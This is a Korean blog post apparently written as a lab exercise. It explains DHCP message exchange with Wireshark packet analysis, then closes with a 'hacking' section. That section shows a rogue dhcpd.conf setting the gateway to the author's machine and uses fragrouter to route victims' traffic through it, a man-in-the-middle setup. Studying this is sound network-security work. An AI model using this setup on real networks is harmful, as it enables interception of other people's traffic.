와이어샤크를 이용한 DHCP분석 및 해킹실습

2017. 7. 20. 20:17NetworkHacking/Network




< DHCP 동작 원리 >    서버 : 67번포트 / 클라이언트 : 68번 포트

[ DHCP동작과정 ]

 

1> Discovery

클라이언트는 아이피주소를 얻기 위해서 같은 네트워크의 모든 DHCP서버에게 아이피주소를 요청합니다


2> Offer

클라이언트의 요청의 응답으로써, 클라이언트에게 아이피주소와 관련정보의 메시지를 보내서 임대 제안을 합니다


3> Request

클라이언트가 DHCP서버의 제안에 대한 통보를 합니다

브로드캐스트로 모든 DHCP서버에게 보내는데 Offer를 보낸 DHCP서버는 ACK 과정으로 넘어갑니다

해당 DHCP서버 이외의 다른 서버들은 Request메시지를 받으면 전송했던 Offer메시지를 취소하고 제공된 주소를 다시 반환해옵니다

* 하나의 DHCP서버의 제안만을 허용합니다


4> ACK

DHCP서버가 클라이언트로부터 Request메시지를 받으면 구성 프로세스는 최종 단계에 들어갑니다

서버는 클라이언트에게 ACK을 보내고 IP구성 프로세스는 완료됩니다 


 

[ 와이어샤크 캡쳐화면 ]


[ DHCP실행 결과 ]


이전 게시글에서 가상서버를 DHCP서버로 만들고 윈도우의 아이피를 DHCP를 활용해 할당받은 결과입니다


< DHCP패킷 분석 >

1> Discovery

[ Discover 1 ]


도착지 맥주소 : 브로드 캐스팅    같은 네트워크상의 모든 DHCP서버에게 아이피를 요청한다

도착지 아이피 : 브로드 캐스팅    모든 DHCP서버에게 아이피를 요청한


[ Discover 2 ]


Discovery메시지에는 클라이언트의 맥주소, 아이피 등의 정보가 포함되어 있습니다 ( 서버에서 누가 아이피를 요청하는지 알아내는 부분 )


2> Offer

[ Offer 1 ]


DHCP서버에서 클라이언트에게 제안요청을 합니다


[ Offer 2 ]


"Offer 2" 에서처럼 아이피주소와 그와 관련된 정보들을 포함하고 있습니다


3> Request

[ Request ]


도착지 맥주소 : 브로드 캐스팅 , 도착지 아이피 : 브로드 캐스팅    =>    모든 DHCP서버에게 보냅니다

" 192.168.6.24 " 아이피 주소를 사용하겠다 = " 192.168.6.124 " ( 어떤 DHCP서버 ) 가 제안한 아이피를 사용하겠다

다른 DHCP서버들은 클라이언트에게 제안한 DHCP Offer 메시지를 취소한다


4> ACK

[ ACK ]


DHCP서버에서 클라이언트에게 마지막으로 보내는 메시지입니다

클라이언트에게 IP가 할당되어지고 종료됩니다




< DHCP를 이용한 해킹법 >


이전 게시글에서 작성한 DHCP설정파일에서 "게이트웨이" 주소만 변경시켜주면 됩니다

IP를 할당받은 클라이언트는 저의 컴퓨터를 게이트웨이로 인식하고 라우팅할것이다

[root@localhost dhcp]# vi dhcpd.conf

#

# DHCP Server Configuration file.

#   see /usr/share/doc/dhcp*/dhcpd.conf.sample

#   see 'man 5 dhcpd.conf'

#

#

    subnet 192.168.6.0 netmask 255.255.255.0 {

      range 192.168.6.1 192.168.6.254;

      option domain-name-servers 168.126.63.1;

      option routers 192.168.6.123;     # << 내 컴퓨터 주소로 변경함 ( 라우터 == 나의 컴퓨터 )

      option broadcast-address 192.168.6.255;   

      default-lease-time 600;           #로컬설정

      max-lease-time 7200;              #로컬설정

    }    



* Fragrouter툴을 이용해서 확인해보자 ( 가상서버 : 192.168.6.123 )

[ fragrouter 실행 ]


1> 가상서버를 DHCP서버로 만들었고 윈도우에서 해당 서버로부터 아이피를 할당받았습니다

2> 윈도우에서 라우터주소는 " 192.168.6.123 " 으로 인식됩니다

3> 윈도우에서는 저의 컴퓨터로 모든 패킷들을 전송시키게 됩니다